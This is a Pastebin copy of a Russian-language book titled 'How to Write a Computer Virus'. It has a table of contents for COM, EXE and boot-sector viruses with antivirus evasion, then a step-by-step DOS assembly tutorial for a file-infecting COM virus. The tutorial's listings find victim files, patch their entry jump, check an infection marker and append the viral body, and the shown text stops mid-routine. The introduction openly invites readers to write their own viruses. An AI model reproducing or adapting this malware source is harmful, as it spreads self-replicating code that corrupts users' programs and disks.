krot

book virus

Oct 21st, 2021 (edited)
368
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.              КАК НАПИСАТЬ КОМПЬЮТЕРНЫЙ ВИРУС
  2.           -------------------------------------
  3.  
  4.  
  5.                        СОДЕРЖАНИЕ
  6.                     ----------------
  7.  
  8.                                                   стр.
  9.  
  10.     ВВЕДЕНИЕ ..................................... 5
  11.  
  12.  
  13.     ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
  14.  
  15.        ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
  16.                  ВИРУСНОЙ ПРОГРАММЫ .............. 6
  17.         1.1  Загрузка и выполнение
  18.              COM - программы ..................... 6
  19.         1.2  Как вирус может заразить
  20.              COM - файл .......................... 7
  21.         1.3  Работа вируса в
  22.              зараженной программе ................ 8
  23.         1.4  Как начинается
  24.              распространение вируса .............. 9
  25.         1.5  Начало работы ....................... 10
  26.         1.6  Вирус получает управление ........... 10
  27.         1.7  Восстанавливаем зараженную
  28.              программу ........................... 12
  29.         1.8  Запоминаем содержимое DTA ........... 12
  30.         1.9  Ищем подходящий файл ................ 13
  31.         1.10 Читаем исходные три байта ........... 15
  32.         1.11 Выполняем необходимые расчеты ....... 16
  33.         1.12 Проверяем файл на зараженность ...... 18
  34.         1.13 Заражаем COM - программу ............ 19
  35.         1.14 Восстанавливаем DTA ................. 20
  36.         1.15 Передаем управление
  37.              зараженной программе ................ 20
  38.         1.16 Область данных вирусной программы ... 21
  39.         1.17 Завершаем запускающую программу ..... 21
  40.         1.18 Текст нерезидентного COM - вируса ... 23
  41.         1.19 Комментарии ......................... 29
  42.         1.20 Испытание вируса .................... 29
  43.  
  44.        ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
  45.                  ВИРУСНОЙ ПРОГРАММЫ .............. 30
  46.         2.1  Понятие резидентного
  47.              ( TSR ) вируса ...................... 30
  48.         2.2  Несколько слов о
  49.              резидентных программах .............. 30
  50.         2.3  Алгоритм работы
  51.              резидентного COM - вируса ........... 31
  52.         2.4  Заголовок вируса .................... 34
  53.         2.5  Вирус начинает работу ............... 34
  54.         2.6  Сохраняем регистры процессора ....... 38
  55.         2.7  Создаем секцию
  56.              инициализации ....................... 39
  57.         2.8  Запрашиваем блок памяти ............. 41
  58.         2.9  Делаем вирус " незаметным " ......... 44
  59.         2.10 Получаем вектора прерываний ......... 46
  60.         2.11 Копируем вирусный код в память ...... 48
  61.         2.12 Устанавливаем вектора прерываний
  62.              на вирусные обработчики ............. 48
  63.         2.13 Пишем резидентную часть ............. 50
  64.         2.14 Заражаем COM - файл ................. 51
  65.         2.15 Восстанавливаем регистры ............ 56
  66.         2.16 Пишем обработчики прерываний ........ 57
  67.         2.17 Обработчик Int 13h .................. 58
  68.         2.18 Обработчик Int 21h .................. 60
  69.         2.19 Обработчик Int 24h .................. 62
  70.         2.20 Обработчик Int 2Fh .................. 62
  71.         2.21 Обработчик Int 28h .................. 64
  72.         2.22 Область данных вируса ............... 64
  73.         2.23 Процедура идентификации COMMAND.COM.. 65
  74.         2.24 Завершаем программу ................. 66
  75.         2.25 Текст резидентного COM - вируса ..... 67
  76.         2.26 Комментарии ......................... 81
  77.         2.27 Испытание вируса .................... 82
  78.  
  79.  
  80.     ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
  81.  
  82.        ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
  83.                  EXE - ВИРУСА .................... 82
  84.         1.1  Формат EXE - файла на диске ......... 82
  85.         1.2  Загрузка и выполнение
  86.              EXE - программы ..................... 84
  87.         1.3  Как вирус может заразить
  88.              EXE - файл .......................... 86
  89.         1.4  Работа вируса в
  90.              зараженной программе ................ 86
  91.         1.5  Начало работы ....................... 88
  92.         1.6  Вирус получает управление ........... 88
  93.         1.7  Ищем подходящий файл ................ 89
  94.         1.8  Читаем заголовок файла .............. 92
  95.         1.9  Производим необходимые
  96.              вычисления .......................... 93
  97.         1.10 Заражаем EXE - программу ............ 98
  98.         1.11 Восстанавливаем DTA ................. 99
  99.         1.12 Восстанавливаем точку входа ......... 100
  100.         1.13 Область данных вируса ............... 101
  101.         1.14 Используемые процедуры .............. 103
  102.         1.15 Работа завершена .................... 104
  103.         1.16 Полный текст
  104.              нерезидентного EXE - вируса ......... 104
  105.         1.17 Несколько слов об
  106.              испытании вируса .................... 112
  107.  
  108.        ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
  109.                  EXE - ВИРУСА .................... 113
  110.         2.1  Алгоритм работы резидентного
  111.              EXE - вируса ........................ 113
  112.         2.2  Защита от
  113.              программ - антивирусов .............. 115
  114.         2.3  Как реализовать защиту от
  115.              эвристического анализа .............. 116
  116.         2.4  Реализуем предложенный алгоритм ..... 119
  117.         2.5  Пишем промежуточный обработчик ...... 121
  118.         2.6  Защита от обнаружения вируса в файле. 122
  119.         2.7  Несколько слов о вредных
  120.              действиях вирусной программы......... 122
  121.         2.8  Полный текст резидентного
  122.              EXE - вируса ........................ 123
  123.  
  124.  
  125.     ЧАСТЬ 3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ ................. 143
  126.  
  127.        ГЛАВА 1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
  128.                  ВИРУСНОЙ ПРОГРАММЫ .............. 143
  129.         1.1  Краткие сведения о начальной
  130.              загрузке персонального компьютера ... 143
  131.         1.2  Понятие о загрузочных вирусах ....... 144
  132.         1.3  Алгоритм работы загрузочного
  133.              вируса .............................. 145
  134.         1.4  Как начинается распространение
  135.              вируса .............................. 147
  136.         1.5  Начало работы ....................... 147
  137.         1.6  Вирус получает управление ........... 148
  138.         1.7  Защита от антивирусных программ ..... 150
  139.         1.8  Перехватываем Int 13h ............... 152
  140.         1.9  Читаем исходную BOOT - запись ....... 153
  141.         1.10 Заражаем MBR винчестера ............. 154
  142.         1.11 Пишем обработчик прерывания Int 13h . 156
  143.         1.12 Используемые процедуры .............. 161
  144.         1.13 Область данных вируса ............... 162
  145.         1.14 Пишем секцию инсталляции ............ 163
  146.         1.15 Текст загрузочного вируса ........... 166
  147.         1.16 Комментарии ......................... 176
  148.         1.17 Испытание вируса .................... 177
  149.  
  150.  
  151.     ЗАКЛЮЧЕНИЕ ................................... 177
  152.  
  153.     ПРИЛОЖЕНИЕ 1
  154.     Краткий справочник по функциям
  155.     MS DOS и BIOS ................................ 178
  156.  
  157.     ПРИЛОЖЕНИЕ 2
  158.     Формат загрузочной записи для MS DOS
  159.     различных версий ............................. 186
  160.  
  161.     ПРИЛОЖЕНИЕ 3
  162.     КОДЫ ОШИБОК ПРИ ВЫПОЛНЕНИИ ФУНКЦИЙ
  163.     MS DOS и BIOS ................................ 192
  164.  
  165.     ЛИТЕРАТУРА ................................... 194
  166.  
  167.  
  168.                         ВВЕДЕНИЕ
  169.  
  170.     Компьютерные  вирусы  со времени  своего появления
  171.     распространились  чрезвычайно широко . Сейчас  уже
  172.     трудно найти человека,который бы ни разу не слышал
  173.     об этих " существах " .И вместе с тем  подавляющее
  174.     большинство пользователей почти ничего  не знают о
  175.     том,  что это такое,  и склонны  приписывать виру-
  176.     сам различные фантастические возможности,  а также
  177.     сильно преувеличивать их опасность.Словом,эта тема
  178.     окутывается  завесой таинственности .Такое положе-
  179.     ние возникло,  главным образом, из - за почти пол-
  180.     ного отсутствия специальной литературы  по данному
  181.     вопросу ( причина этого вполне понятна ).А в имею-
  182.     щейся литературе для широкого круга читателей ино-
  183.     гда можно встретить  ошибочные и  неправдоподобные
  184.     сведения .Например, в одной очень распространенной
  185.     и читаемой  книге сказано,  что  некоторые  вирусы
  186.     "выживают" в компьютере даже после выключения  пи-
  187.     тания !Неизвестно,что имел ввиду автор,но эта фра-
  188.     за полностью абсурдна . Дело в том,  что  при вык-
  189.     лючении питания содержимое оперативной памяти  те-
  190.     ряется, в ПЗУ записать что - либо невозможно, а  в
  191.     CMOS - памяти свободного места для хранения вирус-
  192.     ного  кода никогда не хватит .Вирус может "выжить"
  193.     в компьютере разве  что на жестком диске, но  этой
  194.     способностью обладают все вирусные программы .
  195.     Книга, которая предлагается вашему вниманию, напи-
  196.     сана с  использованием собственных разработок, на-
  197.     блюдений и  экспериментов  автора .Изложение  рас-
  198.     считано на пользователей, знакомых с языком ассем-
  199.     блера микропроцессоров семейства 8086 фирмы INTEL.
  200.     Автор  рассказывает  о  принципах  работы  компью-
  201.     терных  вирусов и подробно описывает процесс  соз-
  202.     дания нерезидентных, резидентных и загрузочных ви-
  203.     русов. Разработка  программ  ведется от простого к
  204.     сложному. Предыдущие  программы становятся основой
  205.     для  разработки  последующих . Читатель  найдет  в
  206.     книге большое количество  хорошо прокомментирован-
  207.     ных  исходных текстов .Каждая фаза  создания виру-
  208.     сов подробно объясняется .В общем,читайте и совер-
  209.     шенствуйтесь !Разобравшись с программами,приведен-
  210.     ными в книге,вы сможете создавать  собственные ви-
  211.     русы,  а главное - повысите свой  профессиональный
  212.     уровень .Кроме того, устойчивое  мнение,  что "Ви-
  213.    русы пишут только гении,мудрецы  и " посвященные "
  214.    покинет вас навсегда .
  215.    УДАЧИ !
  216.    18.08.1998
  217.    Автор .
  218.  
  219.  
  220.                  ЧАСТЬ 1 . COM - ВИРУСЫ
  221.  
  222.  
  223.           ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
  224.                    ВИРУСНОЙ ПРОГРАММЫ
  225.  
  226.    * Эта глава написана "по мотивам" [ 3 ] и не  пре-
  227.      тендует на оригинальность. Предложенная в  книге
  228.      П.Л.Хижняка программа существенно  переработана,
  229.      исправлены  замеченные  ошибки и  глюки. Так что
  230.      Главу 1 можно рассматривать как "ре-мэйк" разра-
  231.      ботки тов. Хижняка.
  232.  
  233.  
  234.        1.1  Загрузка и выполнение COM - программы
  235.  
  236.    Для того,  чтобы дальнейшее изложение стало  более
  237.    понятным, следует  немного рассказать  о действиях
  238.    MS DOS при  запуске программы типа COM.
  239.    Для запуска программ в системе MS DOS используется
  240.    специальная функция  EXEC . Действия этой  функции
  241.    при запуске COM - программы выглядят так :
  242.  
  243.    1. Запускаемой  программе  отводится  вся  свобод-
  244.    ная в данный момент оперативная память .Сегментная
  245.    часть начального адреса этой памяти обычно называ-
  246.    ется начальным сегментом программы.
  247.  
  248.    2. По нулевому  смещению в  сегменте, определяемом
  249.    начальным сегментом программы,  EXEC строит специ-
  250.    альную  служебную структуру - так  называемый  PSP
  251.    ( Program Segment Prefix ),  в котором  содержится
  252.    информация,необходимая для правильной работы прог-
  253.    раммы . Заполняет PSP операционная система ( ОС ),
  254.    а его размер всегда равен 100h ( 256 ) байт .
  255.  
  256.    3. Сразу вслед за PSP загружается сама COM - прог-
  257.    рамма .
  258.  
  259.    4. EXEC  выполняет настройку регистров процессора.
  260.    При этом устанавливаются такие значения :CS = DS =
  261.    = SS = ES указывают на начальный  сегмент  програ-
  262.    ммы,  регистр IP инициализируется числом  100h,  а
  263.    регистр SP - числом 0fffeh .
  264.  
  265.    5. Теперь загруженную COM - программу можно испол-
  266.    нить . Для этого EXEC передает управление по адре-
  267.    су CS : 100h.После завершения программы управление
  268.    передается обратно в  EXEC,  а оттуда программе  -
  269.    предку .
  270.  
  271.    Таким образом,по адресу CS : 100h обязательно дол-
  272.    жна стоять первая исполняемая команда .Чаще  всего
  273.    это команда перехода,  но допустимо использовать и
  274.    другие .Следует также напомнить, что в MS DOS раз-
  275.    мер COM - файла не может превышать 64 Кбайт. В са-
  276.    мом деле, ведь COM - формат предполагает  размеще-
  277.    ние программных кодов, данных и стека в одном сег-
  278.    менте оперативной памяти . А  размер  сегмента как
  279.    раз и ограничен 64 Кбайтами .
  280.  
  281.  
  282.         1.2 Как вирус может заразить COM - файл
  283.  
  284.    Под заражением понимают присоединение вирусом сво-
  285.    его кода к файлу .При этом вирус должен так  моди-
  286.    фицировать  заражаемый файл, чтобы получить управ-
  287.    ление при его запуске .
  288.    Существует несколько методов заражения  COM - про-
  289.    грамм.Вирусный код может записываться в конец, на-
  290.    чало и даже в середину файла.Каждый из этих спосо-
  291.    бов имеет свои достоинства и недостатки.Мы же рас-
  292.    смотрим запись вирусного кода в конец файла .Такой
  293.    прием используется в подавляющем большинстве виру-
  294.    сов, и обеспечивает хорошие результаты при сравни-
  295.    тельно простой реализации .
  296.    Итак, вирус записывает свой код в конец файла .Для
  297.    того,чтобы при старте этот код получил  управление
  298.    и начал выполняться,  во время заражения программа
  299.    несколько  модифицируется .
  300.    С  этой целью  используется  трехбайтовая  команда
  301.    прямого  ближнего перехода . Вирус записывает  эту
  302.    команду вместо первых трех байт заражаемого файла,
  303.    а  исходные  три  байта  сохраняет в своей области
  304.    данных .Теперь при запуске  зараженной   программы
  305.    код вируса всегда будет выполняться первым .
  306.  
  307.  
  308.         1.3 Работа вируса в зараженной программе
  309.  
  310.    Получив  управление  при старте зараженной програ-
  311.    ммы,  вирус выполняет следующие действия :
  312.  
  313.    1. Восстанавливает в  памяти компьютера   исходные
  314.    три  байтa этой программы .
  315.  
  316.    2. Ищет на диске подходящий COM - файл .
  317.  
  318.    3. Записывает свое тело в конец этого файла .
  319.  
  320.    4. Заменяет  первые три байта заражаемой программы
  321.    командой перехода на свой код,  сохранив предвари-
  322.    тельно исходные  три байта в своей области данных.
  323.  
  324.    5. Выполняет вредные действия, предусмотренные ав-
  325.    тором .
  326.  
  327.    6. Передает управление зараженной  программе . По-
  328.    скольку в COM - файле  точка  входа  всегда  равна
  329.    CS : 100h, можно не выполнять сложных расчетов,  а
  330.    просто выполнить переход на этот адрес .
  331.  
  332.    Если же подходящих для заражения COM - файлов най-
  333.    дено не было, то вирус просто осуществляет переход
  334.    на начало  зараженной  программы,  из которой он и
  335.    стартовал .
  336.    После  этого зараженная  программа выполняется,как
  337.    обычно .
  338.    Сам вирусный код выполняется  очень быстро  и  для
  339.    пользователя ЭВМ этот процесс остается незаметным.
  340.    Стоит заметить, что п.5 может вообще не выполнять-
  341.    ся .Существуют вирусы, которые никак не  проявляют
  342.    себя,  кроме размножения ( например, VIENNA 534 ).
  343.    Вместе с тем есть и такие, которые способны нанес-
  344.    ти определенный вред файлам или диску.Например,ви-
  345.    рус ANTI_EXE  мешает  нормально  работать с  EXE -
  346.    файлами, DARK AVENGER записывает бессмысленную ин-
  347.    формацию в случайные сектора диска, а ONEHALF шиф-
  348.    рует сектора на винчестере один за другим .Все за-
  349.    висит от изобретательности автора .
  350.  
  351.  
  352.        1.4 Как начинается распространение вируса
  353.  
  354.    Очевидно, чтобы вирус  распространился,  его нужно
  355.    внедрить  в вычислительную  систему . Делается это
  356.    так :
  357.  
  358.    1. Автор разрабатывает вирусную программу . Обычно
  359.    для  этой цели используется язык  ассемблера,  так
  360.    как программы, написанные на нем,выполняются очень
  361.    быстро и имеют малый размер .Хотя есть вирусы, на-
  362.    писанные на языке TURBO C и даже на TURBO PASCAL .
  363.  
  364.    2. Исходный текст  программы компилируется,  и  из
  365.    него создается исполняемый файл (обычно типа COM).
  366.    Этот файл предназначен для того, чтобы " выпустить
  367.     вирус на свободу " .Назовем программу,записанную в
  368.    этом файле, запускающей .
  369.  
  370.    3. Запускающая программа выполняется на машине,ко-
  371.    торую необходимо заразить .
  372.  
  373.    4. Выпущенный на свободу вирус выполняет действия,
  374.    описанные в 1.3 .Различие заключается только в вы-
  375.    полнении п.1 . А именно - при восстановлении в па-
  376.    мяти  исходных трех  байтов программы  на их место
  377.    записывается команда перехода, передающая управле-
  378.    ние коду  завершения запускающей  программы. Таким
  379.    образом, при выполнении п.6  управление будет  от-
  380.    дано  операционной системе, а на диске  образуется
  381.    зараженный  файл. При копировании  этого файла  на
  382.    другие  компьютеры и их запуске  вирус начнет рас-
  383.    пространяться .
  384.  
  385.    Итак, займемся изготовлением COM - вируса ...
  386.  
  387.  
  388.                    1.5 Начало работы
  389.  
  390.    Для разработки вируса лучше всего использовать COM
  391.    формат.Это сделает его отладку более простой и на-
  392.    глядной .Кроме того, структура COM - программы на-
  393.    много проще и понятнее, чем структура программы  в
  394.    формате EXE.Поэтому напишем стандартное начало COM
  395.    программы :
  396.  
  397.    prg segment
  398.       assume cs:prg,ds:prg,es:prg,ss:prg
  399.          org 100h
  400.  
  401.    Директива "assume cs:prg,ds:prg,es:prg,ss:prg" на-
  402.    значает все сегментные регистры одному сегменту  с
  403.    именем PRG,а директива "org 100h" нужна для резер-
  404.    вирования места для PSP .
  405.  
  406.  
  407.              1.6 Вирус получает управление
  408.  
  409.    После  этого вступления  начинается собственно ис-
  410.    полняемая часть программы ( метка START ) :
  411.  
  412.    start:     jmp vir                ;Передача управ-
  413.                                      ;ления вирусному
  414.                                      ;коду ...
  415.            org 110h
  416.  
  417.    Команда "jmp vir"  передает  управление  вирусному
  418.    коду,  а директива "org 110h" указывает компилято-
  419.    ру размещать все  коды после метки "vir",начиная с
  420.    адреса  110h .Число 110h принято для удобства рас-
  421.    чета смещений при разработке вируса .Чуть позже мы
  422.    разберемся,  зачем понадобилась команда "jmp vir",
  423.    а пока продолжим :
  424.  
  425.    vir:       push ds                ;Сохраним DS ...
  426.                                      ;Корректируем
  427.               mov ax,ds              ;регистр DS  ...
  428.               db 05h                 ;Код команды
  429.    add_to_ds: dw 0                   ; " ADD AX,00h "
  430.            mov ds,ax              ;AX -> DS    ...
  431.  
  432.    Поскольку в зараженной  программе  область  данных
  433.    вируса будет сдвинута хотя бы на  длину  этой про-
  434.    граммы,необходимо выполнить коррекцию регистра DS.
  435.    Коррекция осуществляется прибавлением к его содер-
  436.    жимому длины программы в параграфах,округленной  в
  437.    большую сторону .Например, длина программы состав-
  438.    ляет 401 байт . Тогда  она  содержит 25 полных па-
  439.    раграфов и еще 1 байт.Округленное число параграфов
  440.    будет равно 26 .Эта величина и  прибавляется к ре-
  441.    гистру DS . При заражении вирус рассчитывает  кор-
  442.    ректирующее число и записывает его в область "add_
  443.     to_ds" .Теперь всякий раз при  запуске  зараженной
  444.    программы оно будет использоваться вирусом для ис-
  445.    правления DS . В запускающей программе DS  коррек-
  446.    тировать не нужно,  и поэтому для нее  "add_to_ds"
  447.    равно нулю .
  448.  
  449.  
  450.         1.7 Восстанавливаем зараженную программу
  451.  
  452.    Как было указано в 1.3 ( п.1 ),  вирус должен пос-
  453.    ле запуска зараженной программы восстановить в па-
  454.    мяти компьютера ее исходные три байтa ( не на дис-
  455.    ке, а только в памяти ! ) .Пусть  вирус хранит ис-
  456.    ходные три байта в области "old_bytes".
  457.    Итак :
  458.  
  459.    fresh_bytes:
  460.            mov al,old_bytes
  461.            mov cs:[100h],al
  462.            mov al,old_bytes+1
  463.            mov cs:[101h],al
  464.            mov al,old_bytes+2
  465.            mov cs:[102h],al
  466.  
  467.    Вы конечно знаете,что в COM - программе при ее за-
  468.    грузке по адресу CS : 100h всегда находится первая
  469.    исполняемая  команда .В остальном работа фрагмента
  470.    ясна .
  471.  
  472.  
  473.              1.8 Запоминаем содержимое DTA
  474.  
  475.    Data Transfer Arrea ( DTA ) является одной из слу-
  476.    жебных структур MS DOS . Эта  область находится  в
  477.    PSP по смещению 80h,  и активно используется  пос-
  478.    ледней при работе с файлами .Например,многие функ-
  479.    ции MS DOS обращаются к  DTA для чтения  или моди-
  480.    фикации ее содержимого.Поскольку  DOS  строит  PSP
  481.    для каждой вновь запускаемой программы, для каждой
  482.    из них создается и своя DTA .
  483.    Так как наш вирус будет использовать при заражении
  484.    и поиске файлов функции DOS,содержимое DTA зараже-
  485.    нной программы будет испорчено, и она, скорее все-
  486.    го, не будет нормально работать.Поэтому содержимое
  487.    DTA необходимо  сохранить. Для этой  цели  выделим
  488.    массив из 128 байт с именем "old_dta":
  489.  
  490.            mov cx,80h             ;Размер DTA -
  491.                                      ;128 байт ...
  492.            mov bx,80h             ;Смещение к DTA
  493.            lea si,old_dta         ;Адрес массива
  494.    save_dta:
  495.            mov al,byte ptr cs:[bx];Читаем из DTA
  496.                                      ;байт и  перено-
  497.            mov ds:[si],al         ;сим его в мас-
  498.                                      ;сив ...
  499.            inc bx                 ;К новому байту
  500.            inc si                 ;
  501.            loop save_dta          ;Цикл 128 раз
  502.  
  503.    Работа фрагмента пояснений не требует ...
  504.  
  505.  
  506.                1.9 Ищем подходящий файл
  507.  
  508.    Теперь самое время заняться поиском файла для  за-
  509.    ражения.Для поиска файла - жертвы мы будем исполь-
  510.    зовать пару функций DOS : 4Eh ( поиск первого фай-
  511.    ла ) и 4Fh ( поиск следующего файла ) . При вызове
  512.    4Eh в регистр CX помещаются атрибуты искомого фай-
  513.    ла,  а в DX - его имя и расширение . Установленная
  514.    нами маска предполагает поиск COM-файла, с атрибу-
  515.    тами "archive","system" и "hidden".Функция 4Fh ис-
  516.    пользуется уже после того, как функция  4Eh  нашла
  517.    первый файл, удовлетворяющий нашим требованиям.Ви-
  518.    рус будет вызывать ее в том случае, если найденный
  519.    файл ему не подходит (например, он слишком велик).
  520.    Имя найденного  файла описанные выше функции поме-
  521.    щают  в DTA по смещению 01eh .
  522.    А  теперь приведем  программный фрагмент,   выпол-
  523.    няющий поиск файла :
  524.  
  525.    find_first:
  526.            mov ah,4eh             ;Поиск первого
  527.                                      ;файла ...
  528.            mov cx,00100110b       ;archive, system
  529.                                      ;hidden
  530.            lea dx,maska           ;Маска для поис-
  531.                                      ;ка
  532.            int 21h
  533.            jnc r_3                ;Нашли !
  534.            jmp restore_dta        ;Ошибка !
  535.  
  536.    find_next: mov ah,3eh             ;Закроем  непод-
  537.            int 21h                ;ходящий файл...
  538.            jnc r_2
  539.            jmp restore_dta        ;Файл нельзя за-
  540.                                      ;крыть !
  541.  
  542.    r_2:       mov ah,4fh             ;И найдем сле-
  543.            int 21h                ;дующий ...
  544.            jnc r_3                ;Файл найден !
  545.            jmp restore_dta        ;Ошибка !
  546.  
  547.    r_3:       mov cx,12              ;Сотрем в буфере
  548.            lea si,fn              ;"fn" имя  пред-
  549.    destroy_name:                     ;ыдущего файла
  550.            mov byte ptr [si],0    ;
  551.            inc si                 ;
  552.            loop destroy_name      ;Цикл 12 раз ...
  553.  
  554.               xor si,si              ;И запишем в бу-
  555.    copy_name: mov al,byte ptr cs:[si+9eh]
  556.                                      ;фер имя только
  557.            cmp al,0               ;что найденного
  558.                                      ;файла ...
  559.            je open                ;В конце имени в
  560.            mov byte ptr ds:fn[si],al
  561.                                      ;DTA всегда сто-
  562.               inc si                 ;ит ноль, его мы
  563.            jmp copy_name          ;и хотим достичь
  564.  
  565.    Имя файла в буфере " fn "  необходимо стирать  вот
  566.    почему .Например,  первым был найден файл COMMAND.
  567.    COM,  и пусть он не подошел вирусу.Тогда вирус по-
  568.    пытается найти следующий файл.Пусть это будет WIN.
  569.    COM .Его имя запишется в область " fn ",и она при-
  570.    мет вид : WINMAND.COM. Такого файла на диске, ско-
  571.    рее всего,нет;если же попробовать к нему обратить-
  572.    ся,это вызовет ошибку,и вирус закончит работу.Что-
  573.    бы этого не случалось, область " fn " после каждо-
  574.    го файла очищается. При ошибках в  выполнении сис-
  575.    темных  функций  управление  передается  на  метку
  576.    " restore_dta " . Затем вирус  восстанавливает DTA
  577.    зараженной программы и осуществляет переход на  ее
  578.    начало .
  579.  
  580.  
  581.              1.10 Читаем исходные три байта
  582.  
  583.    Итак,вирус нашел  COM - программу,  которую теперь
  584.    следует заразить .Но сначала необходимо  сохранить
  585.    первые три байта этой программы ( см. 1.3,  п.4 ).
  586.    Для этого файл нужно сначала открыть, а затем счи-
  587.    тать его первые три байта, что и реализуют  приве-
  588.    денные ниже  программные строки . Напомним,что имя
  589.    файла хранится в строке " fn " .
  590.  
  591.    open:      mov ax,3d02h           ;Открыть файл
  592.                                      ;для чтения и
  593.                                      ;записи ...
  594.            lea dx,fn              ;Имя файла ...
  595.            int 21h                ;
  596.            jnc save_bytes
  597.            jmp restore_dta        ;Файл не откры-
  598.                                      ;вается !
  599.  
  600.    save_bytes:                       ;Считаем три
  601.                                      ;байта :
  602.            mov bx,ax              ;Сохраним дес-
  603.                                      ;криптор в BX
  604.            mov ah,3fh             ;Номер функции
  605.            mov cx,3               ;Сколько байт ?
  606.            lea dx,old_bytes       ;Буфер для счи-
  607.                                      ;тываемых данных
  608.            int 21h
  609.            jnc found_size
  610.            jmp close              ;Ошибка !
  611.  
  612.    Приведенный фрагмент помещает  прочитанную  инфор-
  613.    мацию в  область " old_bytes " . Остальное ясно из
  614.    комментариев .
  615.  
  616.  
  617.            1.11 Выполняем необходимые расчеты
  618.  
  619.    В этом пункте  мы покажем, как вирус проводит рас-
  620.    чет корректирующего числа  для регистра  DS ( см .
  621.    1.4 ), а также  смещения на свой код .Напомним,что
  622.    это смещение  записывается  в  начало  заражаемого
  623.    файла и зависит от его длины . Исходной  величиной
  624.    для расчета служит длина заражаемого файла,которую
  625.    DOS вместе с именем найденного файла и  рядом дру-
  626.    гих его характеристик помещает в DTA .Размер запи-
  627.    сывается в DTA по смещению 01Ah  ( младшее слово )
  628.    1Ch ( старшее ) . Так как длина COM - файла не мо-
  629.    жет  быть  больше 65535  байт,  она  помещается  в
  630.    младшее слово целиком.А слово по смещению 01Ch об-
  631.    нуляется !
  632.    Вышеуказанные расчеты можно  произвести  следующим
  633.    образом :
  634.  
  635.    found_size:
  636.            mov ax,cs:[09ah]       ;Найдем размер
  637.                                      ;файла
  638.    count_size:mov si,ax
  639.            cmp ax,64000           ;Файл длиннее
  640.                                      ;64000 байт ?
  641.            jna toto               ;Нет ...
  642.            jmp find_next          ;Да - тогда он
  643.                                      ;нам не подходит
  644.    toto:      test ax,000fh          ;Округлим размер
  645.            jz krat_16             ;до целого числа
  646.            or ax,000fh            ;параграфов    в
  647.            inc ax                 ;большую сторону
  648.    krat_16:   mov di,ax              ;И  запишем  ок-
  649.                                      ;ругленное  зна-
  650.                                      ;чение в DI ...
  651.                                      ;Расчитаем  сме-
  652.                                      ;щение для пере-
  653.                                      ;хода на код ви-
  654.                                      ;руса ...
  655.            sub ax,3               ;Сама    команда
  656.                                      ;перехода  зани-
  657.                                      ;мает три байта!
  658.            mov byte ptr new_bytes[1],al
  659.                                      ;Смещение найде-
  660.            mov byte ptr new_bytes[2],ah
  661.                                      ;но !
  662.            mov ax,di              ;Сколько   пара-
  663.            mov cl,4               ;графов содержит
  664.            shr ax,cl              ;заражаемая про-
  665.                                   ;грамма ?
  666.               dec ax                 ;Учитываем дейс-
  667.                                      ;твие директивы
  668.                                      ;ORG 110h ...
  669.            mov byte ptr add_to_ds,al
  670.                                      ;Корректирующее
  671.            mov byte ptr add_to_ds+1,ah
  672.                                      ;число найдено !
  673.  
  674.    Вы уже, конечно, поняли,что вирус будет  округлять
  675.    размер заражаемой программы до целого числа параг-
  676.    рафов в большую сторону .Например,пусть файл имеет
  677.    длину 401 байт .Тогда вирус запишет в  DI значение
  678.    416 ( 25  целых  параграфов, и еще один байт  даст
  679.    округленное значение 416 ).В " new_bytes " запише-
  680.    тся число : 416 - 3 = 413, а в " add_to_ds " будет
  681.    помещено значение : 26 - 1 = 25 .
  682.    Чтобы лучше понять работу фрагмента,рекомендую вам
  683.    посмотреть  пункт   1.6 . И  еще - подумайте,  за-
  684.    чем нужна команда " dec ax " .Надеюсь,вы без труда
  685.    в этом разберетесь !
  686.  
  687.  
  688.           1.12 Проверяем файл на зараженность
  689.  
  690.    Мы, кажется,  слишком увлеклись работой и не заме-
  691.    тили одной очень важной детали.Ведь может случить-
  692.    ся, что найденный нами файл уже заражен предлагае-
  693.    мым вирусом, а мы об этом  даже не догадываемся  !
  694.    Поэтому наш вирус заразит эту программу еще раз .В
  695.    принципе,количество заражений ничем не ограничено.
  696.    Программа будет расти, пока  не достигнет  размера
  697.    более 65535 байт,  а после этого  перестанет рабо-
  698.    тать.Чтобы такого не произошло, введем проверку на
  699.    зараженность .Например, в конец каждого заражаемо-
  700.    го файла будем  записывать  цифру " 7 ", а при за-
  701.    ражении проверять ее наличие .
  702.    Итак :
  703.  
  704.            mov ax,4200h           ;Установим ука-
  705.            xor cx,cx              ;затель на пос-
  706.            dec si                 ;ледний байт
  707.            mov dx,si              ;файла ...
  708.            int 21h
  709.            jnc read_last
  710.            jmp close              ;Ошибка !
  711.  
  712.    read_last:                        ;И считаем этот
  713.            mov ah,3fh             ;байт в ячейку
  714.               mov cx,1               ; " last " ...
  715.            lea dx,last
  716.            int 21h
  717.            jc close               ;Ошибка !
  718.  
  719.            cmp last,'7'           ;" last " =" 7 "
  720.            jne write_vir          ;Нет - дальше
  721.            jmp find_next          ;Да- поищем дру-
  722.                                      ;гой файл ...
  723.  
  724.    Можно, конечно,провести более совершенную проверку
  725.    зараженности,нашей же целью было просто показать,
  726.    как защитить файлы от повторного  заражения .Чита-
  727.    тель при желании сам  легко внесет необходимые из-
  728.    менения в создаваемую программу .
  729.  
  730.  
  731.              1.13 Заражаем COM - программу
  732.  
  733.    Наконец, подходящий для заражения COM - файл  най-
  734.    ден . Он еще не заражен нашим вирусом и имеет при-
  735.    емлемый размер . Поэтому самое время заняться  за-
  736.    ражением .Этот процесс описан  в  1.3 ( см.  п.3 и
  737.    п.4 ) .Здесь мы только его реализуем :
  738.  
  739.    write_vir: mov ax,4200h           ;Установим  ука-
  740.            xor cx,cx              ;затель на конец
  741.            mov dx,di              ;файла ...
  742.            int 21h
  743.            jc close               ;При ошибке -
  744.                                   ;закроем файл
  745.               mov ah,40h             ;Запишем  в файл
  746.               mov cx,vir_len         ;код вируса дли-
  747.               lea dx,vir             ;ной vir_len
  748.               int 21h
  749.                jc close               ;При ошибке -
  750.                                   ;закроем файл
  751.    write_bytes:
  752.            mov ax,4200h           ;Установим  ука-
  753.            xor cx,cx              ;затель на нача-
  754.            xor dx,dx              ;ло файла
